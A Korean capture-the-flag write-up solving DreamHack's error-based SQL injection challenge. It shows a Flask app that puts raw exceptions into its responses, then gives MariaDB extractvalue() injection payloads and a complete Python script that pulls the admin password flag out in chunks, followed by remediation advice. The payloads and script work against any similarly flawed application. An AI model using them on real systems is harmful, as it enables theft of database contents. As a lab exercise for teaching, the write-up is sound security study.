[🥈 Silver 3] 응답엔 결과가 없어도 에러엔 다 있다 — DreamHack error based sql injection 풀이

문제: DreamHack — error based sql injection 분류: Web 난이도: 🥈 Silver 3 FLAG: DH{c3968c78840750168774ad951fc98bf788563c4d}

uid 하나만 받는 아주 단순한 조회 페이지다. 그런데 조회에 성공하든 실패하든 화면에 찍히는 건 항상 내가 보낸 쿼리 문자열뿐이고, 실제 데이터베이스 값은 한 글자도 안 보인다. 예외가 터졌을 때만 예외다.

문제 개요

이름 그대로 에러기반이 유일한 통로다. 정상/실패 응답이 구분되지 않으니 boolean이나 UNION은 쓸모가 없고, MariaDB가 뱉는 예외 메시지에 원하는 값을 실어 보내야 한다.

🧩 배경 — 애플리케이션이 예외를 다루는 방식

Flask 라우트에서 DB 쿼리를 감싼 try/except가 실제로 뭘 돌려주는지가 이 문제의 전부다.

try:
    cur = mysql.connection.cursor()
    cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
    return template.format(uid=uid)
except Exception as e:
    return str(e)

쿼리가 성공하면 template.format(uid=uid), 즉 내가 보낸 uid를 그대로 되끼워 넣은 쿼리 문자열만 돌아온다. 실제 cur.execute() 결과(row)는 어디에도 쓰이지 않는다. 반대로 쿼리가 실패하면 str(e) — MySQLdb 예외 객체를 문자열로 바꾼 것, 즉 드라이버가 받은 에러 메시지 원문이 그대로 응답 본문이 된다.

정상 동작과 에러 상황에서 응답이 어떻게 갈리는지 실제로 찍어봤다.

admin으로 조회해도 화면엔 여전히 SELECT * FROM user WHERE uid='admin';만 있다. 이 응답 하나로는 uid가 존재하는지조차 알 수 없다.

🔬 코드 정찰 — 뭘 조작할 수 있나

init.sql을 보면 목표가 분명하다.

CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);
 
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');

user 테이블의 admin 행 upw 컬럼이 플래그다. uid 파라미터는 따옴표로 감싸는 처리 없이 f-string으로 쿼리에 바로 꽂히니, ' 하나만 보내도 문자열 리터럴이 깨진다.

GET /?uid=admin'

(1064, "... check the manual that corresponds to your MariaDB server version ...") — 드라이버 예외가 가공 없이 그대로 나온다. SQLi는 확정됐고, 이제 관건은 이 예외 메시지에 원하는 값을 어떻게 실어 보내느냐다.

🐛 삽질 — 응답이 안 갈리면 UNION도 boolean도 소용없다

가장 먼저 해본 건 UNION 기반이었다. 컬럼 수(idx, uid, upw 3개)를 맞춰서 넣어봤다.

▶🐛 삽질 1 — UNION SELECT, 쿼리는 성공했지만 아무 것도 안 보임

Copy

GET /?uid=admin' UNION SELECT 1,2,3-- -

문법 에러 없이 통과했다. 그런데 응답엔 SELECT * FROM user WHERE uid='admin' UNION SELECT 1,2,3-- -';라는 문자열만 있을 뿐, UNION으로 붙인 1,2,3이 어디에도 안 보인다. 애초에 cur.execute()의 결과 자체를 화면에 반영하는 코드가 없으니 당연하다.

혹시 참/거짓에 따라 페이지가 미묘하게라도 달라지나 싶어 boolean 기반도 찔러봤다.

▶🐛 삽질 2 — AND 1=1 / AND 1=2, 참이든 거짓이든 응답이 똑같음

Copy

GET /?uid=admin' AND 1=2-- -

AND 1=1이든 AND 1=2이든 결과는 항상 template.format(uid=uid) 한 줄뿐이다. 조건이 참인지 거짓인지 구분할 방법이 응답 어디에도 없다.

두 시도 다 "쿼리는 통했는데 아무것도 안 보인다"로 끝났다. 이 앱에서 값을 빼낼 수 있는 유일한 채널은 처음 봤던 그 SQL 문법 에러 메시지뿐이다.

💣 핵심 — extractvalue() 로 서브쿼리 결과를 에러에 태우기

MariaDB의 extractvalue(xml_frag, xpath_expr)는 두 번째 인자를 XPath 표현식으로 파싱한다. 여기에 ~(0x7e)로 시작하는, XPath 문법이 아닌 문자열을 넣으면 파싱이 실패하면서 그 문자열 자체를 에러 메시지에 그대로 포함시킨다.

extractvalue(1, concat(0x7e, (SELECT upw FROM user WHERE uid='admin')))

concat(0x7e, ...)가 서브쿼리 결과 앞에 ~를 붙여 "이건 유효한 XPath가 아니다"를 확정시키고, MariaDB는 XPATH syntax error: '~<값>'이라는 예외를 던진다. 이 예외가 str(e)를 거쳐 그대로 HTTP 응답이 된다.

다만 이 방식엔 제약이 하나 있다. MariaDB가 XPath 에러 메시지에 담는 문자열 길이가 일정 길이(대략 32바이트 안팎)에서 잘린다. upw가 그보다 길면 한 번에 다 못 뽑고 SUBSTRING으로 나눠 여러 번 질의해야 한다.

🎯 익스플로잇

먼저 길이부터 확인했다.

GET /?uid=admin' AND extractvalue(1,concat(0x7e,(SELECT LENGTH(upw) FROM user WHERE uid='admin')))-- -

44자. 잘림 구간을 피해 30자씩 끊어 두 번 나눠 뽑았다.

GET /?uid=admin' AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(upw,1,30) FROM user WHERE uid='admin')))-- -

GET /?uid=admin' AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(upw,31,20) FROM user WHERE uid='admin')))-- -

두 조각 DH{c3968c78840750168774ad951fc + 98bf788563c4d}를 이어 붙이면 전체 44자가 완성된다.

🚀 Full Exploit

길이 확인부터 청크 단위 반복 추출까지 한 스크립트로 묶었다.

#!/usr/bin/env python3
# app.py 가 str(e) 를 그대로 응답에 찍어주는 점을 이용한 에러기반 SQLi.
# extractvalue() 의 XPATH syntax error 에 서브쿼리 결과를 실어 나른다.
import re
import sys
import urllib.parse
import urllib.request
 
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:13688"
 
ERR_RE = re.compile(r"XPATH syntax error: '~(.*)'\"?\)$")
 
 
def leak(expr):
    payload = f"admin' AND extractvalue(1,concat(0x7e,({expr})))-- -"
    url = f"{BASE}/?uid=" + urllib.parse.quote(payload, safe="")
    body = urllib.request.urlopen(url, timeout=10).read().decode()
    m = ERR_RE.search(body.strip())
    return m.group(1) if m else None
 
 
length = int(leak("SELECT LENGTH(upw) FROM user WHERE uid='admin'"))
print(f"[*] LENGTH(upw) = {length}")
 
CHUNK = 30
flag = ""
for start in range(1, length + 1, CHUNK):
    part = leak(f"SELECT SUBSTRING(upw,{start},{CHUNK}) FROM user WHERE uid='admin'")
    print(f"[*] SUBSTRING(upw,{start},{CHUNK}) = {part}")
    flag += part
 
print("\n[+] FLAG =", flag)

[+] FLAG = DH{c3968c78840750168774ad951fc98bf788563c4d}

📝 결론

응답에 데이터가 안 보인다고 SQLi가 막힌 게 아니다.

이 앱은 쿼리 결과를 화면에 반영하는 코드 자체가 없어서 UNION이든 boolean이든 겉보기엔 아무 효과가 없어 보인다. 하지만 예외 처리 경로 하나가 열려 있으면 그 경로로 원하는 값을 그대로 빼낼 수 있다. 채널이 하나뿐이라고 안전한 게 아니라, 그 하나가 뚫리면 그걸로 끝이다.

예외 메시지를 사용자에게 그대로 보여주면 안 된다.

except Exception as e: return str(e)는 디버깅할 땐 편하지만, DB 드라이버 예외는 쿼리 구조와 데이터 조각을 그대로 담고 있다. 운영 환경에서는 사용자에게 일반화된 에러만 보여주고, 원본 예외는 서버 로그에만 남겨야 한다.

입력을 문자열 포매팅으로 쿼리에 꽂지 않는다.

f"...WHERE uid='{uid}'" 대신 파라미터 바인딩(cur.execute("... WHERE uid=%s", (uid,)))을 쓰면 애초에 ' 하나로 문자열 리터럴을 깨는 것 자체가 불가능해진다. 에러기반이든 뭐든, SQLi 계열 취약점 전체가 이 한 줄로 사라진다.